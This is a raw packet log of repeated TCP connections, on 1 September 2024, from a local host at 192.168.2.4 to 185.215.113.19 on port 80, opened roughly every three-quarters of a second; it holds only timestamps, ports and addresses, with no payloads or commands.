Sep 1, 2024 02:50:49.676285982 CEST	80	49986	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:49.676316977 CEST	49987	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:49.676338911 CEST	49986	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:49.681093931 CEST	80	49987	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:50.423898935 CEST	80	49987	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:50.424154997 CEST	49987	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:50.428617954 CEST	49987	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:50.428642988 CEST	49988	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:50.433633089 CEST	80	49988	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:50.433852911 CEST	49988	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:50.434129000 CEST	80	49987	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:50.434243917 CEST	49987	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:50.436625957 CEST	49988	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:50.441437960 CEST	80	49988	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:51.179358959 CEST	80	49988	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:51.179430962 CEST	49988	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:51.290371895 CEST	49988	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:51.290708065 CEST	49989	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:51.295725107 CEST	80	49988	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:51.295795918 CEST	80	49989	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:51.295829058 CEST	49988	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:51.295850039 CEST	49989	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:51.296128035 CEST	49989	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:51.300985098 CEST	80	49989	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:52.040343046 CEST	80	49989	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:52.040756941 CEST	49989	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.043905973 CEST	49989	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.047034025 CEST	49990	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.049853086 CEST	80	49989	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:52.052723885 CEST	49989	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.052970886 CEST	80	49990	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:52.056718111 CEST	49990	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.060621977 CEST	49990	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.065378904 CEST	80	49990	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:52.821793079 CEST	80	49990	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:52.821902037 CEST	49990	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.935750961 CEST	49990	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.935770988 CEST	49991	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.940970898 CEST	80	49991	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:52.941080093 CEST	49991	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.941118956 CEST	80	49990	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:52.941175938 CEST	49991	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.941217899 CEST	49990	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:52.945897102 CEST	80	49991	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:53.691704035 CEST	80	49991	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:53.691768885 CEST	49991	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:53.695066929 CEST	49991	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:53.695391893 CEST	49992	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:53.700103045 CEST	80	49991	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:53.700159073 CEST	80	49992	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:53.700170040 CEST	49991	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:53.700234890 CEST	49992	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:53.700474024 CEST	49992	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:53.705317974 CEST	80	49992	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:54.440501928 CEST	80	49992	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:54.440685034 CEST	49992	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:54.545814991 CEST	49992	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:54.546257973 CEST	49993	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:54.550860882 CEST	80	49992	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:54.551093102 CEST	80	49993	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:54.551220894 CEST	49993	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:54.551220894 CEST	49992	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:54.551589966 CEST	49993	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:54.556413889 CEST	80	49993	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:55.289659977 CEST	80	49993	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:55.289719105 CEST	49993	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:55.294032097 CEST	49993	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:55.294467926 CEST	49994	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:55.299145937 CEST	80	49993	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:55.299190998 CEST	49993	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:55.299226046 CEST	80	49994	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:55.299290895 CEST	49994	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:55.299504995 CEST	49994	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:55.304230928 CEST	80	49994	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:56.236867905 CEST	80	49994	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:56.237129927 CEST	49994	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:56.342222929 CEST	49994	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:56.342637062 CEST	49995	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:56.347312927 CEST	80	49994	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:56.347484112 CEST	49994	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:56.347515106 CEST	80	49995	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:56.347660065 CEST	49995	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:56.348627090 CEST	49995	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:56.354118109 CEST	80	49995	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:57.096108913 CEST	80	49995	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:57.096172094 CEST	49995	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.099546909 CEST	49995	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.099839926 CEST	49996	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.104598999 CEST	80	49996	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:57.104727030 CEST	49996	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.104959011 CEST	80	49995	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:57.105025053 CEST	49995	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.105132103 CEST	49996	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.110869884 CEST	80	49996	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:57.848269939 CEST	80	49996	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:57.848342896 CEST	49996	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.952045918 CEST	49996	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.952389002 CEST	49997	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.957298994 CEST	80	49996	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:57.957353115 CEST	49996	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.957865953 CEST	80	49997	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:57.957942963 CEST	49997	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.958126068 CEST	49997	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:57.963264942 CEST	80	49997	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:58.724147081 CEST	80	49997	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:58.724261045 CEST	49997	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:58.726458073 CEST	49997	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:58.726809025 CEST	49998	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:58.731663942 CEST	80	49998	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:58.731760979 CEST	49998	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:58.731916904 CEST	80	49997	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:58.732022047 CEST	49997	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:58.732171059 CEST	49998	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:58.737384081 CEST	80	49998	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:59.476300955 CEST	80	49998	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:59.476357937 CEST	49998	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:59.593266010 CEST	49998	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:59.593620062 CEST	49999	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:59.598421097 CEST	80	49998	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:59.598481894 CEST	49998	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:59.598484039 CEST	80	49999	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:59.598546982 CEST	49999	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:59.598769903 CEST	49999	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:59.603534937 CEST	80	49999	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:59.827327967 CEST	49863	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:59.827364922 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:00.338512897 CEST	80	49999	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:00.338701010 CEST	49999	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:00.342008114 CEST	49999	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:00.342009068 CEST	50000	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:00.346817017 CEST	80	50000	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:00.347067118 CEST	50000	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:00.347067118 CEST	50000	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:00.347322941 CEST	80	49999	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:00.347417116 CEST	49999	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:00.352165937 CEST	80	50000	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:01.099101067 CEST	80	50000	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:01.099155903 CEST	50000	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.218209982 CEST	50000	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.218565941 CEST	50001	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.223275900 CEST	80	50000	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:01.223388910 CEST	50000	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.223408937 CEST	80	50001	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:01.223469973 CEST	50001	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.223711014 CEST	50001	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.228816032 CEST	80	50001	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:01.971240044 CEST	80	50001	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:01.975370884 CEST	50001	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.975370884 CEST	50001	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.976623058 CEST	50002	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.980643034 CEST	80	50001	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:01.981513977 CEST	80	50002	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:01.984234095 CEST	50001	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.984234095 CEST	50002	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.984323025 CEST	50002	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:01.989152908 CEST	80	50002	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:02.762689114 CEST	80	50002	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:02.764758110 CEST	50002	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:02.874317884 CEST	50003	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:02.874319077 CEST	50002	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:02.879683971 CEST	80	50003	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:02.880161047 CEST	80	50002	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:02.880251884 CEST	50003	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:02.880251884 CEST	50002	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:02.884618044 CEST	50003	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:02.889380932 CEST	80	50003	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:03.631030083 CEST	80	50003	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:03.631083012 CEST	50003	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:03.634322882 CEST	50003	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:03.634649038 CEST	50004	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:03.639799118 CEST	80	50003	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:03.639846087 CEST	50003	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:03.640552998 CEST	80	50004	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:03.640614033 CEST	50004	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:03.640820026 CEST	50004	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:03.645915031 CEST	80	50004	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:04.391745090 CEST	80	50004	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:04.392728090 CEST	50004	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:04.499938965 CEST	50005	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:04.499939919 CEST	50004	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:04.505105019 CEST	80	50005	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:04.505135059 CEST	80	50004	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:04.505270958 CEST	50005	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:04.505271912 CEST	50004	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:04.508629084 CEST	50005	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:04.513462067 CEST	80	50005	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:05.265965939 CEST	80	50005	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:05.266021967 CEST	50005	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:05.269345045 CEST	50005	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:05.269628048 CEST	50006	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:05.274513960 CEST	80	50005	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:05.274585962 CEST	50005	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:05.274954081 CEST	80	50006	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:05.275012970 CEST	50006	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:05.275237083 CEST	50006	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:05.280132055 CEST	80	50006	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:06.024667025 CEST	80	50006	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:06.024748087 CEST	50006	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.139822006 CEST	50006	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.140189886 CEST	50007	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.145030022 CEST	80	50007	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:06.145100117 CEST	50007	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.145407915 CEST	50007	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.145517111 CEST	80	50006	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:06.145690918 CEST	50006	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.150566101 CEST	80	50007	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:06.927222967 CEST	80	50007	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:06.927329063 CEST	50007	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.930152893 CEST	50007	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.930465937 CEST	50008	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.935250998 CEST	80	50007	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:06.935395002 CEST	50007	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.935408115 CEST	80	50008	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:06.935583115 CEST	50008	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.936023951 CEST	50008	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:06.941792965 CEST	80	50008	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:07.702234983 CEST	80	50008	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:07.702291012 CEST	50008	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:07.811752081 CEST	50008	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:07.812051058 CEST	50009	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:07.816855907 CEST	80	50008	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:07.816914082 CEST	50008	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:07.817007065 CEST	80	50009	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:07.817070961 CEST	50009	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:07.817188025 CEST	50009	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:07.822213888 CEST	80	50009	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:08.555735111 CEST	80	50009	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:08.555941105 CEST	50009	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:08.558661938 CEST	50009	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:08.558875084 CEST	50010	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:08.564189911 CEST	80	50009	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:08.564258099 CEST	80	50010	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:08.564357996 CEST	50009	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:08.564358950 CEST	50010	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:08.564641953 CEST	50010	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:08.569533110 CEST	80	50010	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:09.309442997 CEST	80	50010	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:09.309493065 CEST	50010	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:09.423145056 CEST	50010	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:09.423520088 CEST	50011	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:09.428493023 CEST	80	50011	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:09.428541899 CEST	80	50010	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:09.428551912 CEST	50011	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:09.428592920 CEST	50010	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:09.428787947 CEST	50011	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:09.433571100 CEST	80	50011	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:10.170953989 CEST	80	50011	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:10.171128035 CEST	50011	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:10.176629066 CEST	50012	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:10.176629066 CEST	50011	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:10.181719065 CEST	80	50011	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:10.181847095 CEST	50011	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:10.182055950 CEST	80	50012	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:10.182279110 CEST	50012	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:10.182324886 CEST	50012	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:10.187293053 CEST	80	50012	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:10.954216003 CEST	80	50012	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:10.954396009 CEST	50012	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.065457106 CEST	50012	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.071680069 CEST	50013	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.074672937 CEST	80	50012	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:11.074731112 CEST	50012	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.076823950 CEST	80	50013	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:11.076888084 CEST	50013	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.077157021 CEST	50013	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.081943989 CEST	80	50013	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:11.819082975 CEST	80	50013	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:11.819133997 CEST	50013	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.822635889 CEST	50013	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.822984934 CEST	50014	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.827768087 CEST	80	50013	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:11.827776909 CEST	80	50014	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:11.827815056 CEST	50013	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.827864885 CEST	50014	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.828092098 CEST	50014	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:11.833098888 CEST	80	50014	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:12.569560051 CEST	80	50014	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:12.569694996 CEST	50014	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:12.685237885 CEST	50014	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:12.686642885 CEST	50015	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:12.691762924 CEST	80	50014	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:12.691773891 CEST	80	50015	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:12.694693089 CEST	50014	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:12.694694042 CEST	50015	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:12.694828987 CEST	50015	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:12.699888945 CEST	80	50015	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:13.463799000 CEST	80	50015	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:13.463850021 CEST	50015	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:13.467113972 CEST	50015	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:13.467494965 CEST	50016	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:13.472249031 CEST	80	50015	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:13.472299099 CEST	50015	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:13.472685099 CEST	80	50016	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:13.472749949 CEST	50016	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:13.472853899 CEST	50016	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:13.477608919 CEST	80	50016	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:14.235367060 CEST	80	50016	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:14.239135981 CEST	50016	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:14.342108011 CEST	50017	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:14.342108965 CEST	50016	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:14.346972942 CEST	80	50017	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:14.347501040 CEST	80	50016	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:14.351077080 CEST	50016	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:14.351108074 CEST	50017	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:14.351249933 CEST	50017	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:14.356261969 CEST	80	50017	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:15.088560104 CEST	80	50017	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:15.088618040 CEST	50017	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.092145920 CEST	50017	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.092706919 CEST	50018	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.097503901 CEST	80	50017	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:15.097587109 CEST	50017	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.097727060 CEST	80	50018	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:15.097878933 CEST	50018	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.098234892 CEST	50018	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.103049994 CEST	80	50018	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:15.861032009 CEST	80	50018	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:15.861078978 CEST	50018	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.969850063 CEST	50018	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.970231056 CEST	50019	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.974924088 CEST	80	50018	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:15.974978924 CEST	50018	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.975228071 CEST	80	50019	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:15.975282907 CEST	50019	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.975433111 CEST	50019	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:15.980393887 CEST	80	50019	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:16.744045973 CEST	80	50019	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:16.744132996 CEST	50019	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:16.746910095 CEST	50019	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:16.750667095 CEST	50020	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:16.752075911 CEST	80	50019	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:16.752198935 CEST	50019	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:16.755523920 CEST	80	50020	185.215.113.19	192.168.2.4
